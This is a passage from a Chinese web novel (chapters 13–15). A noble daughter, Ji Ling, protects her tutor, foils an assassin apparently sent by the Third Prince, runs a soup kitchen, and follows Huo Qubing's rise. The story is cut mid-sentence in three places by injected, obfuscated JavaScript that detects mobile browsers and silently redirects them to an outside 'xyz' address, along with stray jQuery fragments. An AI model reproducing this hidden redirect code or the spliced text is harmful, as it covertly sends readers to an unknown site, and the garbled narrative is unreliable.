姬昤咕噜咕噜吃着糖水一边说:“贡了最后还不是咱们吃?”
“也是,娘子说得对。”月栀笑着端起糖水,刚想喝口,想起了什么,“娘子,谢先生那好像出了点事。”
姬昤立刻放下碗:“出了何事?”
“谢家的人知道娘子把谢先生带到了姬府已经找上门来了,说是希望姬家把谢先生交出去由他们处置,现下那里有冼娘子和杨娘子暂时还出不了什么事,可时间一长怕是族老们会出面交出谢先生。”月栀皱着眉头。
她虽然不清楚为何娘子要把谢渊请回来,但既是娘子的决定那便是对的,她就怕姬家族老们出面,那样的话娘子恐怕就留不下谢先生了。
“什么?!”姬昤大惊,当即站起身就要往外跑。
月栀赶紧放下碗,起身去拦住姬昤:“娘子,您现在是受罚,去了只怕要多跪好几晚呢!”
“这不重要!谁要是把我请回来的先生弄跑了我跟他没完!”姬昤说着就冲了出去。
月栀看看姬昤又回头看看那些牌位,叹了口气,无奈追了上去。
13. 找事,刺客
姬昤和月栀还没走进谢渊住的院子就听到了吵吵嚷嚷的声音,听着就有许多人在里面。
姬昤隐隐约约听见的大多都是对谢渊的咒骂,却没听见谢渊的声音,她反而还听到了霍光的声音,好像在说些维护谢渊的话。
“何人竟敢在我姬府放肆!”姬昤喝着就踏步进去,冷着一张脸瞧着还挺吓人。
月栀也跟着气势汹汹的鼓着脸做出唬人的模样。
院内众人看向姬昤。
冼英和杨妙真还有霍光、谢渊的小厮四人挡在谢渊身前,对面是一干谢家人。
谢家人不知道姬昤是谁,只是听她的语气猜测她在姬家地位并不低,因此谁都不敢先开口,怕得罪了人。
“三娘子,便是他们在姬府吵闹。”月栀说道。
月栀一句话便解释了姬昤的身份。
“原是姬府三娘子,我等也不是来闹事的,只是你把我谢家的罪人带到姬府藏匿是为何?三娘子不打算给我等一个解释吗?”
谢家众人中站出一瞧着只有二十来岁的年轻男子,看样子是这群谢家人的主心骨。
姬昤上下打量了一番男子,轻笑了声:“解释?我需要给你解释吗?”
不等谢家等人生气,姬昤又道:“谢渊早已脱离谢家,便不再是谢家的人,既如此他在哪儿还需要跟你们解释吗?更何况你们现在在我姬家的地盘,你竟还敢这么跟我说话?”她直勾勾地盯着男子,眼神微冷。
“你!”男子一哽,眼神变换,接着又道,“的确如此,但世人皆知这谢渊是我谢家罪人,姬三娘子如此光明正大地把人请进府中,不是与我谢家作对幼时为何?姬三娘子也应当给我们一个解释!”
谢渊却笑了:“罪人?谁是罪人自己心里有数。”
谢家众人都十分气愤,只是有些年纪较大的看起来脸色不太对,眼神也有些虚。
姬昤一瞧便知这其中有鬼,谢渊并不像世人所说的那般“冷心冷情、恶魔、牲畜、疯子”,反观那几个变了脸色的谢家人,一看就是心里有鬼,到底谁才是罪人可还说不准呢。
“姬三娘子,你们姬家的十二娘子和我们谢家的二郎君可是定了亲的,再有三月就要成婚了,届时大家都是一家人,没有必要为了一个罪人闹得不愉快吧?”男子又道。
“是姬莲嫁到你们谢家又不是我姬昤。”姬昤嗤笑了声,接着朝杨妙真伸出手。
杨妙真心领神会,把手中的长枪扔了过去,姬昤一把抓住,然后放平指向谢家人。
“你们走不走?还是说要我派人赶你们走?”
“姬三娘子这是何意?竟还要动手吗?姬家便是这样教导娘子的?!”男子指着姬昤怒道,说罢甩袖背手在身后,瞧着很是生气。
“谢家竟是这么教导子孙在他人府上闹事的吗?!”姬昤瞪了回去,喝道。
“你!”男子气急了,一时间却又想不出什么话来反驳,反倒把自己脸气红了。
“说不出来了吧?那就请你们离开,别让我派人‘送’你们出去。”姬昤收回手,长枪的底端敲在地上发出一阵声响。
谢家众人都看向男子,似乎在询问他该怎么办。
男子沉默片刻,甩袖离去,落下一个字——
“走!”
谢家众人这才离开。
院子突然就变得空落落的了。
“先生,您这衣袖破了,待会儿换下来我给您缝一下。”谢渊的小厮温声道。
谢渊看了眼自己开了线的衣袖,“嗯”了一声。
“先生既已无事,我们二人就先回去了。”冼英和杨妙真说着离开了院子,姬昤把长枪还给了杨妙真。
姬昤走到谢渊跟前,围着他看了好几遍。
“先生没事吧?”姬昤问。
“无碍,就是拉扯中撕坏了衣服,小事。”谢渊语气淡淡的,似乎并不在意刚才发生的一切。
“先生既无事那我也就放心了,也请先生放心,我会让姬府的下人们注意的,不是什么阿猫阿狗都可以放进姬家的。”姬昤说道。
谢渊抬眸瞥了眼姬昤:“他们既然能进来定是得了授意,三娘子也不是个愚笨的,应当能知晓是谁吧。”
“还能是谁,定是五房的人,如今姬家能和谢家扯上关系的就是和谢家二郎君定亲了的姬家五房十二娘子姬莲了。”姬昤淡定说道。
“嗯,那便是三娘子的家事了,老夫便不多说什么。”谢渊。
姬昤点了下头:“先生好好休息,教书一事稍耽搁些也无事,今日让先生受惊了,是我之过错,还请先生见谅。”
“三娘子太客气了,无事的,以往这种事几乎日日上演,我早已习惯。”谢渊说着轻笑了声,似是在笑自己。
“那我就离开了,我还要回祠堂罚跪,就不多留了。”姬昤也轻笑了声,打趣着。
姬昤转身就走,月栀紧跟其后。
谢渊见状不禁开口:“三娘子就一点儿不好奇某的过往么?”
姬昤停住脚步,却并未回头,她道:“先生若是愿意说我自愿意听,但若先生不愿,我也不会强求。”说罢继续往院外走去,等姬昤和月栀快走出院子的时候却听到了谢渊的声音。
他说:“其实也无甚,只是一群食多了五石散的畜生干了荒唐无人道的恶事被我发现了,我气急了便杀了那些人,也算是为谢家清理门户了。”
姬昤回头,笑容在雨后的阳光下显得格外温暖:“多谢先生。”
姬昤和月栀的身影越走越远,谢渊收回目光,呢喃了一句:“倒与旁人不同。”
姬昤和月栀回到祠堂,刚才的糕点糖水都还在地上放着,只是甜蜜气息引来了鼠蚁啃食,人是不能再吃了。
“娘子,我待会儿再重拿些来吧。”月栀一边说着一边收拾着地上、食盒里的残渣。
“不必了,也不想吃了。你收拾完就回英兰苑吧,不用在这陪我了。”姬昤说道。
“啊?可娘子您一人在这儿待一晚上得多无聊啊!有奴婢在还能陪您聊聊天解解闷呢!”月栀不解。
“不必了,我想自己清净会儿,你回去罢。”姬昤淡淡一笑,摸了摸月栀的脑袋。
月栀瘪嘴:“娘子这是嫌我话多了?”
姬昤失笑:“你这说的什么话?没有的事,我就想自己待会儿。”
“好吧,奴婢走了。”月栀闷声应了,收拾好残渣便离开了祠堂。
姬昤站在众牌位前,眼神扫过一座座牌位,她的手拂过最下面中间的牌位,那是她在这的阿翁——祖父的牌位。
阿翁疼她甚过两位兄长,自小阿兄们有的她也有,甚至更多,可惜阿翁去的早,否则她会在姬府过得更加恣意快活。
“阿翁,昤昤想当家主,您觉得如何?”姬昤看着阿翁的牌位,柔声道。
“昤昤虽是女子,但您在昤昤幼时便教导昤昤女子亦无何不同,男子能做之事女子亦能做,可如今您不在了,他们却笑昤昤只是一介女子。”
“阿翁,姬家现如今越来越差了,若是还身在这漩涡中心,恐终有一日会惹来灭族之祸。”
“阿翁,昤昤若是家主,应当很不错吧?”
“阿翁,其实昤昤想做的不只是家主……”
……
在阿翁牌位旁是阿婆——祖母的牌位。
姬昤对阿婆的记忆不深,因为阿婆在她幼时便病逝,那时她不过四岁,只记得阿婆喜欢笑、喜欢漂亮、喜欢吃甜食,可阿婆去世前饱受病痛折磨瘦得不成样子,笑不出来、不再美丽、无法食甜。
她隐约记得阿婆时常抱着她唱一首童谣,可日子太长,她已经记不清是什么词、如何唱了。
姬昤看着二人的牌位陷入了回忆中,回忆太甜让她忍不住露出怀念的笑容。
忽然,姬昤脸色一变,她一个斜眼,一支穿云箭破窗向她袭来。
姬昤一个侧身微微弯腰,箭矢擦过她的脸没入她身后的牌位中,姬昤瞥了眼,那箭矢竟插在她阿翁的排位上!
姬昤脸上充斥着怒气,她立刻跑到门前打开门张望,只见屋顶上一黑衣人快速离去,只留给她一个背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326129|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影。
“来人!抓刺客!!”姬昤大喊着一边追了上去。
姬昤借助墙边的堆积物登上高墙,她和刺客两人一前一后追赶着,在屋顶上奔跑、跳跃。
姬昤没有再喊,她并不觉得自己如果喊什么“站住”、“别跑”刺客就会听她的,既如此还不如节省点力气。
刺客身形矫捷,不一会儿就拉开了和姬昤之间的距离。
姬昤有些气喘,她的体力逐渐跟不上了。
她只习武一年多,哪里能跟这些专业的相比?
这时,冼英和杨妙真也飞上屋顶开始了追逐,有了她们二人姬昤也放心地渐渐停了下来。
姬昤停了下来,她扶着自己的双膝喘着气,等亲眼见到冼英和杨妙真二人抓住了刺客之后才放心地下了高墙。
刺客被冼英和杨妙真带到了姬家前厅跪在地上,姬家众人都围到了前厅。
“昤昤,你的脸……”姬母心疼地轻抚过姬昤脸上的血痕。
姬昤一心忙着抓刺客倒是没注意到自己的脸受了伤,她抬手轻抚,带下点点血迹。
“阿母,没事,小伤而已。”她道。
姬父走到刺客跟前,冷着脸看着刺客:“谁派你来的?要杀谁?姬昤么?”
刺客咬牙扫了眼姬家众人,脸上带着愤恨:“没了我还有下一个,这是你们姬家没有选择好队伍的下场!”
“你这是什么意思?什么没选择好队伍?快说!”姬四爷上前就给了刺客一巴掌。
刺客转回脸,怒瞪着姬四爷,冷声道:“姬家最好永远不要站队,否则站错了队伍是要付出代价的!”说罢他闭紧了嘴巴、咬紧了牙关,整张脸都在用力。
冼英当即就把他的下巴给卸了,她说:“他要咬舌自尽。”
姬昤冷着脸淡淡道:“带去柴房关起来,别让他死了。我可不信会是大皇子派你来的,做的也太明显了,怕是有人要借刀杀人。”
刺客眼神微变,有些不可置信地看着姬昤,可惜他已经被卸了下巴,现在只能发出声音却说不了话。
刺客被冼英和杨妙真带了下去。
姬父有些惊讶地看向姬昤:“你怎么知道这刺客说的是大皇子?”
“就是,难不成你知道内情?”姬莲一脸怀疑地看着姬昤。
姬昤只是瞥了眼姬莲,姬莲便不再说话了,她可没忘那颗眼珠子。
“近日来只有大皇子拉拢过姬家,只不过被我们拒了,说的不是大皇子还能有谁?”姬昤回答。
“大皇子?拉拢不成竟然还要对姬家下手?真当我们姬家是泥捏的吗?!”姬四爷怒道。
姬昤不禁多看了眼这个四叔,果然四房对她当上家主一点威胁都没有。
“大皇子是皇后嫡子,更是长子,为嫡为长都占尽了,就算拉拢姬家不成也不会对姬家下手的,今日之事定是旁人借刀杀人离间姬家和大皇子,为的就是渔翁得利。”姬昤轻叹了口气,似是对姬四爷话语的无奈。
“那便是其他几位皇子了,二皇子和三皇子……”姬父皱眉,他在思索会是哪位。
姬昤却注意到五叔的表情在提到“二皇子”的时候微变。
看来五房跟二皇子有点关系,正好,她正愁不知道该从何查起五房,五叔倒是提醒他了。
“昤昤,你回去好好休息养养伤,这些事就交给阿耶去做吧。”姬父轻拍了拍姬昤的肩膀。
“嗯,不过……阿耶,我还要跪祠堂呢。”姬昤眨了眨眼。
姬父也想了起来:“无事,你回去吧,今日发生了这样的事想必族老们也不会追究。”
姬昤嘿嘿一笑,而后敛了笑意:“阿耶,刺客的箭射中了阿翁的牌位,得找人来修缮。”
“什么?可恶,待会儿就让人先打他二十板子!”姬父怒道。
“阿耶莫恼,气大伤身。刺客么,昤昤会派人去审的,您就少操点心。”姬昤拍了拍父亲的背,温声道。
“也罢,你是我姬家嫡女,此事由你去做也好。”姬父。
姬昤微笑。
14. 三皇子
柴房。
刺客被五花大绑靠在柴火堆上,他的下巴被冼英卸掉了,此时也只能愤恨地瞪着眼前的三人——姬昤、冼英和杨妙真。
“把他下巴弄回去吧。”姬昤。
冼英上前半蹲,“咔嚓”一下就把刺客的下巴复位了,接着又起身回到姬昤身后侧站着。
“要杀要剐任你处置,其余的我一个字都不会多说!”刺客冷声道,说完还重重哼了一声,似是在彰显自己的决心。
姬昤走到刺客面前蹲下,直视着他:“要杀要剐也不至于,毕竟你也没做什么。唉,我这个人呢心善,如果你能说出幕后主使,我也会放你一马,毕竟你是替人办事。”
刺客瞥了眼姬昤,冷笑了一声,仍是不语。
“不说也可以,我自是知晓你不会轻易说出来。这样吧,我来说,你只要给我反应就行,等你回去了你的主子若是问起,也可说是我们对你用了酷刑,你被逼无奈,至于你要怎么让你主子信你那便是你的事了。”姬昤微笑。
刺客依旧不语,但他颤动的睫毛出卖了他的心思。
姬昤开口道:“大皇子?应当不是,嫡长子,没必要做这些事。”
刺客神色淡定。
姬昤又道:“二皇子?贵嫔之子,皇后之下便是贵嫔,除了大皇子便是他最尊贵。”
刺客睫毛微颤。
姬昤了然,接着说道:“三皇子?贵人之子,身份尊贵,就是为人太过低调,太过温顺,皇上怕是在考虑太子人选时从未想到过他。”
刺客眼珠子转了下。
姬昤轻笑了声,看来今日刺杀一事还跟两位皇子有关了,不过也不排除是这人唬她的。至于其他皇子,最大九岁,最小两岁,是怎么也抢不了太子位的。
“行了,我也知道我想知道的事了,你可以离开了。”姬昤起身,给了冼英一个眼神,冼英上前解开了刺客身上的绳子。
刺客缓解了一下手腕,站起身,狐疑地看着姬昤,他有些不大敢相信姬昤就这么放过他了。
姬昤侧开了身子,刺客就这么走了出去,直到他一路畅通无阻离开了姬家才反应过来他真的活着出来了。
刺客有些喜悦,但一想到还要编造自己活着回去且姬昤无事的理由又是头疼。
大门后,姬昤三人看着刺客的身影越走越远。
“主公,就这么放他回去吗?”杨妙真问。
“哪有那么容易,待会儿跟上去,看看他去的哪儿。”姬昤轻声道。
“喏。”冼英和杨妙真二人应声,小心跟了上去。
姬昤回到英兰苑,月栀找来了府中的大夫看她脸上的伤痕,所幸只是小伤,擦上药膏几天就能好了。
“那贼人真是可恶,竟敢伤了娘子的脸!这么好看的脸若是留下伤疤了,我定要他好看!”月栀一边给姬昤擦药一边愤愤道。
姬昤被月栀义愤填膺的模样逗笑了,她不禁捏了捏月栀的脸,笑道:“小伤而已,几天就好了,小月栀别生气啦。”
月栀鼓着嘴巴,还是气鼓鼓的。
姬昤仰着头安静地等月栀给她擦药,眼神却不自觉地飘到了月栀的衣服上去了。
“你这衣服还挺好看的,新做的?”姬昤问。
月栀害羞地笑了:“是啊!前些日子新做的,阿母前些日子传信来说近来流行这种样式,她给家里的妹妹们都做了新样式的,还给我寄了银钱让我也去做身新衣裳。”
“你阿母心疼你,这是怕你在姬府过得不好了。你且去信一封让你阿母宽心,只要有我姬昤在,就没有你月栀的苦头吃。”姬昤双手摸上月栀的脸揉了揉。
“阿母自是知晓我在姬府过得好的,只是总怕我银钱不够用,这才给我寄了些。我可都没用呢,都存着,届时给阿母送回去。”月栀。
擦完药,姬昤又盯上了月栀的衣裳,只是表情有些奇怪。
月栀一脸奇怪,低头看了好几遍自己的新衣,也不知道是哪里不对竟惹得娘子一直盯着。
“现在外面都流行这样的衣裳吗?”姬昤问。
她许久未出府,消息倒是一点儿也不灵通了。
“是呢,前些日子我出去时瞧见建康许多娘子都穿着这样式的衣裳,哪怕是郎君们的衣裳也多了许多花样,格外漂亮呢!”月栀回答。
姬昤不知为何,总觉得有些心慌。
“娘子,您怎么了?”月栀瞧姬昤脸色有些不太对,不禁问道。
姬昤扯出一个笑容,接着摇了摇头:“没事,只是想到了别的事。”
月栀又瞧了瞧自己的衣裳,很漂亮啊!
“月栀,你陪我去外面逛逛瞧瞧吧。”姬昤突然说道。
建康城内熙熙攘攘很是热闹,可姬昤却看见热闹之下的悲哀——
遍地是衣不蔽体、饿得饥荒面瘦脏兮兮的乞丐,而屋楼里是纸醉金迷;
老老实实做生意的小摊贩却要被所谓的官差逼着交不知道又是什么的“税”;
吸食五石散过量出现幻觉的人当街脱了衣裳舞动着身躯被衙役押走,一路还在高歌;
形形色色的人行走往来,却出乎一致地穿着相似的衣裳,普通人尚且衣着华丽,华贵人家更是富贵迷人眼……
而这竟是皇城脚下。
皇城亦是如此,更别说旁的地方了。
难怪系统说安朝没两年也要覆灭了,届时起义军四起,天下又要大乱。
姬昤和月栀来到随便一家成衣铺子,果然如月栀所说那般,衣裳都是花里胡哨的。
眼尖的掌柜一眼瞧出了姬昤的身份,欢欢喜喜地迎了上去:“哟,姬三娘子,今个儿怎的得空出来了?可是要买新衣?咱们店里都是最新的样式,都是顶顶好的布料,您要不都瞧瞧?”
姬昤随便看了两眼,然后问道:“现在都是这样的样式吗?感觉都没什么新意。”
掌柜解释道:“嗐,可不是,现在大家都喜欢这样华丽的衣裳,我们想卖其他样式的也卖不出去啊!”
掌柜又扫了眼姬昤的装扮,劝道:“姬三娘子,您可是姬家的嫡出娘子,可您身上这件衣裳已经配不上您的身份了,真不要来件新衣裳吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326130|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姬昤摇摇头:“不必了,我觉得我身上这件就挺好的。”说罢带着月栀走出了铺子。
姬昤又逛了好多地方,临近日落时分才回到姬府。
“月栀,吩咐下去,明日在府外施粥,只允许吃不饱饭、吃不起饭的人来领粥吃。”姬昤说道。
“喏。”月栀应声,然后又道,“娘子真是心善,总是做这样的好事,月栀跟着您真是跟对了!”
姬昤失笑:“你呀,惯会夸我。”
“这哪里是夸啊,明明就是事实。”月栀又道。
姬昤捏了捏月栀的脸,笑而不语。
这脸真好捏,软软的。
“三娘子。”已经回到英兰苑的冼英和杨妙真迎了上来。
“进去说。”姬昤踏入院内,回到自己屋中,月栀给她们关上了门,守在门外。
“那刺客进了三皇子府便没再出来。”冼英说道。
“三皇子……今年他也才十六岁吧?啧,这几个皇子为了抢夺皇位真是什么都做,说是为了大皇子,却又陷害二皇子,实则是三皇子,他想一箭双雕?哪有那么容易。”姬昤说着茗了口茶。
“陛下至今没有立太子,更没有封王,不就是为了让几个皇子争起来吗?说不定哪个儿子就把他的心头大患去掉了。”杨妙真冷笑道,而她说的心头大患就是像姬家一样的士族,这都是皇帝的心腹大患。
“主公,我们可要做什么?”杨妙真又问。
“不做什么。三皇子不就是想看到姬家和大皇子、二皇子闹起来吗?可前提是我死了,而姬家有理由和证据去闹。”姬昤淡定说道。
“且等着吧,坐不住的肯定会是三皇子。”她又道。
三皇子府。
“你是说,他们什么都没对你做,只是问了你几句话发现什么都问不出来就把你放了?对么?”
昏暗的房中,一少年坐在正上方,两手置于扶手上,他垂眸看着下方跪着的人,眼里毫无情绪,说出来的话语却像毒蛇一般阴冷,明明接近暖春,却刺骨无比。而那透照进屋内的昏黄日光印在少年的双眸上,跪着的人只是小心抬眸瞧了眼便吓得跟丢了魂似的。
“主,主子,小的说的都是真的,都是真的啊!主子您一定要相信小的啊!”跪着的正是派出去的刺客,他整个身子都在颤抖。
“呵,蠢货。”少年轻笑一声,给了一边站着的男人一个眼神,男人会意,走上前一把抓住刺客的后脖颈使劲把人提了起来。
刺客眼神一变,哭着喊着:“主子,小的知错!小的知错了!主子您饶了小的吧!饶过小的这一次吧!不要,不要杀我,不要……”
刺客的脖子变得软趴趴的,整个人瘫在地上悄无声息。
“拖出去喂狗。”少年微微皱眉,摆了摆手,眼神颇为嫌弃。
男人把尸体拖了出去,很快进来几个奴婢开始擦洗地面,哪怕没有血迹,只因主子嫌弃。
少年走到书案边拿起一幅画轴,打开一看,上面画了一个女子,正是姬昤。
“杀不成,那便换个法子。姬昤,你有点意思。”
15. 和戎护军
姬昤把幕后黑手是谁告诉了阿耶阿母,至于要怎么做她就没管了,好觉睡到天亮,一起来就开始操心施粥的事。
姬府外搭了个小棚子,遮住了煮着粥的大锅,听说了此事的乞儿们纷纷赶了过来排着队等着领粥吃。
“谢谢三娘子,谢谢三娘子!”
感谢的话一句又一句,姬昤听了太多太多,因为填不饱肚子的人实在是太多了。
一大早就搭起来的棚子,姬昤施粥施了一上午,直到中午时分来领粥的人才渐渐少了,可见建康城有多少流民乞儿,这还是国都呢。
“娘子,您歇着,后面都让奴婢来吧。”月栀心疼地说道。
“好,我就在旁边。”姬昤走到旁边,揉了揉自己的手。
她竟从未想到建康城有这么多人连饭都吃不起、吃不饱,那皇帝老儿都在做什么?!
姬昤很气愤,一个抬眸却瞧见两人朝自己走来。
少年笑容温润如春风和煦,举手投足之间还带着些贵气。
他身后跟着一不苟言笑的男子,身形瘦长,姬昤注意到他的虎口还有老茧,是个练家子。
姬昤没有开口,只是直勾勾地看着少年。
少年微笑,走到姬昤跟前时才止步。
月栀警惕地回到了姬昤身边待着,时刻注意着来人的一举一动。
“姬三娘子大善,在下佩服。”少年声音清脆,听着很容易让人产生好感。
姬昤点了下头,淡淡笑了下,眼神却落在少年腰间的玉佩上,那是皇家的玉佩。
“三皇子此刻不在太学却在姬府外所为何事?”姬昤问道。
少年正是当朝三皇子,年十六,宫中贵人之子。
三皇子脸上笑容更甚:“姬三娘子聪慧又如此心善,在下甚是钦佩,今日之事听闻姬府三娘子施粥,便过来瞧瞧,兴许我们能成为朋友。”
“朋友?是……”姬昤微微俯身凑近了些,轻声道,“要命的那种吗?”
三皇子脸色不变,淡定道:“三娘子说笑了,我不知道你在说什么,莫不是这其中有何误会?”
三皇子目光诚挚,看向姬昤的眼神是那么清澈。
姬昤轻笑一声,直起了身子。
“既如此,我们也没什么好说的。三皇子,您时间宝贵,就不要浪费在我这儿了,请便。”姬昤保持淡淡的微笑,伸出一只手,示意他自行离开。
“你……”三皇子身后的男子上前一步,神主要拔腰间的佩剑了,不过被三皇子拦了下来。
三皇子也不恼,眉头微皱,眼尾向下耷拉,瞧着还有些可怜,他道:“我与三娘子无冤无仇,为何三娘子却……有些讨厌我?其实你我二人年龄相仿,更应该聊得来才是。”
“我呢足不出户的,难得出几次门也只是去寺庙道观里烧香祈福,我这人无趣,与三皇子应当没什么好聊的,也聊不到一起去,苦了您一番好心了。”姬昤耐心拒绝着。
三皇子垂眸看着姬昤那伸出请他走的手,也不再多说什么,否则显得他纠缠不清。
“既如此,今日我便先行离开了,日后有缘再见。”三皇子说罢带着手下离开了。
待三皇子二人走远,月栀才小声地询问姬昤:“娘子,咱们与这三皇子相熟吗?我怎么感觉他很想跟您套近乎呢?”
“你的感觉没错。月栀,日后若瞧见了三皇子的人远远就要走开,记住了吗?”姬昤说道。
月栀连连点头:“月栀记住了,一定离得远远的!”
日子一天天过去,很快到了三月,草长莺飞,春风送暖。
英兰苑。
姬昤放下笔,将一封封信塞入信封中交给一旁的月栀,一边说道:“阿兄们也到了地方了,把这两封信送去吧。”
月栀接过信封,应了声,然后出了屋子。
姬昤叫上冼英和杨妙真二人三人一起出了姬府。
路上行人纷纷,五颜六色的油纸伞交错而过,只听得细雨落下的声音,清脆动听。
“唉,你们听说了吗?冯翊郡粟邑县出了个将才打退了好几波匈奴,陛下好像要封他当将军了!”
“是吗?还有这等人才?看来我们的日子也能好过些了。”
“什么时候的事啊?这将才多大年龄?什么出身啊?我家闺女正好十八,说不定还能攀个亲事呢!”
“听说这将才才十七岁,年纪小着呢!家里么……好像就是农户出身,十分普通。不过吗,人家是要当将军的,怎么会娶你家娘子?你还是早点洗洗睡了吧!”
……
听着周围人的议论,姬昤觉得有些熟悉。
“冯翊郡粟邑县……将才……匈奴……十七岁……霍去病?”姬昤喃喃着,突然猜测道。
“对!霍去病!那人就叫霍去病!”旁边一个听到的路人当即说道。
“对对对,就是这名儿,还挺特别的。”又一路人说道。
姬昤身后的冼英和杨妙真对视了眼,这霍去病不是主公的人吗?竟已经在边疆杀了匈奴要被皇帝封将军了?
“唉,这位娘子,你怎么知道那小将军姓名的?你是不是知道什么啊?”有个大娘凑到姬昤跟前,满脸好奇。
姬昤摆了摆手,讪讪一笑:“我也是听说的,听说的。”说完就走开了。
没过几天,姬昤在府中听闻陛下下旨册封了一位叫霍去病的小兵为六品官,号称“和戎护军”。
“宿主支线任务完成,成功拉拢朝廷官员:姬瑾、姬瑜、霍去病,奖励五千斤番薯,现在是否领取奖励?”系统的声音在姬昤脑海里响起。
姬昤思索着,霍去病这是要做什么?怎的还做了安朝的将?
“暂时不领取。”姬昤在脑海里回答着。
一旁的卫子夫将姬昤面前的茶杯满上,接着往前推了一下,温声道:“待去病一步一步登上高位,届时定会成为主公的一大助力。”
姬昤当即就反应过来了,原是如此!等时机成熟,若是霍去病直接带着手底下将士们反了,她不等于多了好多兵马?任务不就完成了嘛!
但姬昤转念一想,霍去病应该暂时不会把匈奴打光吧?若是匈奴直接被灭了,说句不好听的,安朝还怎么混乱?她还怎么浑水摸鱼?
“去病这孩子聪慧,行事有自己的想法,但大多时候都有数的,主公不必担忧。”卫子夫似乎是看出了姬昤的烦恼,缓缓说道。
“唉,我希望他厉害,但有的时候也不能太厉害,否则,还未等到他回到我身边便被皇帝老儿猜忌葬送了性命又该如何是好?”姬昤眉宇之间尽是忧虑。
卫子夫闻言也有些担忧:“这孩子还小,有时思虑不够周全,属下也担心……要不,主公,让属下去冯翊郡,陪在去病身边吧?”
“不可!”姬昤一口拒绝,“你一介女子,又不会武,这一路不说舟车劳顿,等到了长城郡,那里又是匈奴肆掠的,对你而言不安全,你不能去。”
卫子夫轻叹口气:“若属下能像冼英、杨妙真她们那般就好了,能护住自己,更能护住主公。”
姬昤一只手搭上卫子夫的肩膀,柔声抚慰道:“不必羡慕旁人,你就是你自己,做你自己就好。”
“多谢主公宽慰。”卫子夫温柔一笑。
“对了,近来霍光学得如何了?还有卫青,他和妇好、秦良玉一直在我郊外的别院待着,我也许久未去了,也不知他们如何了。平日里都是你走动的多些,那便多替我照顾他们些。”姬昤又道。
“主公放心,一切都好。”卫子夫回答。
“那便好。”姬昤放下杯盏,看向窗外,“不知道现在我两位兄长和霍去病如何了,那边条件不如这里,怕是要吃不好睡不好了。”
凉州。
安定郡。
泾川县县令府。
姬瑜翻着书案上的册子,眉头越皱越紧。
他已经来到这五日了,有关泾川县的资料他也翻遍了,可越看越是心惊。
这里穷啊,不是这里发展不起来,是人为导致的穷。
这里本是一个粮食富足之地,商户往来也很频繁,可近些年来天灾人祸不断,导致这里一落千丈,再没翻身。
“大人,建康姬家来信。”小厮进入屋中,恭敬说道。
姬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326131|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑜一下子便抬起头来,伸手过去:“快给我!”
小厮立刻上前将信放在了姬瑜手上,接着退到了屋外。
姬瑜小心打开了信封拿出了信,看到开头——吾兄姬瑜亲启便笑开了花。
“没白疼你啊昤昤,还知道给阿兄写信。”姬瑜呢喃着,咧着个大嘴笑着继续看了下去,只是面色愈发严肃,最后又转而露出笑容。
“不愧是我妹妹,和我想到一块儿去了。既然这皇帝老儿不行,那便换个人来坐这位置,不过……昤昤何时有的这些想法?还要当家主?啧,爱当便当吧,当家主麻烦死了,破规矩最多、最烦!”姬瑜又喃喃着,然后思索片刻,将一旁的蜡烛点燃,将信烧了去。
接着,姬瑜提起笔开始写给姬昤的回信——大致意思就是他在这儿过得还算不错,不必多烦忧,至于姬昤想要的,他这个做阿兄的定会鼎力相助。
雍州。
冯翊郡。
粟邑县县令府。
后院。
“去告诉那些人,若再敢往我府上送什么美人,谁先送我便先从谁查起!”姬瑾甩袖,双手背在身后,就连声音都彰显他的愤怒。
一旁的小厮吓得一抖,立刻应了声“是”,这还是他伺候新县令开始第一次遇到大人发火,在此之前大人一直是很温和的,就连和他们这些下人说话都是和和气气的,哪里这么生气过?
这时,一小厮小跑过来,弯腰,双手向上,一封信放在他的手心上。
“大人,建康姬家来信。”
姬瑾眉头一松,拿起信,刚想拆开,手一顿,他思索了番,打算回到屋中再拆。
屋内。
姬瑾端正坐好,一点点撕开信封拿出里面的信一瞧,眉眼弯弯,轻笑出了声。
是昤昤的信。
前面都是关心的话语,看得人心里暖暖的。姬瑾看到后面时还有些疑惑。
昤昤何时与这霍去病相识了?怎么还让他多多关照霍去病?
他知道这霍去病是谁,前些日子陛下下旨册封的和戎护军,因抗击匈奴有功,他也见过本人,确实是个将才,但……
昤昤为什么要他这么做?
姬昤给姬瑾和姬瑜的信是不一样的,姬昤深知她这两位阿兄的脾性,大兄性子温和、知礼守礼却有些固执死板,二兄性子张扬、喜好自由玩乐却是怂包一个,所以姬瑾并不知道姬昤要当家主和“谋逆”的心思。
军营。
“将……将军。”刘哥结巴地喊了声,还是有些不习惯。
明明之前还只是跟在他屁股后面喊“刘哥”“刘哥”的小屁孩,转眼就变成了将军!
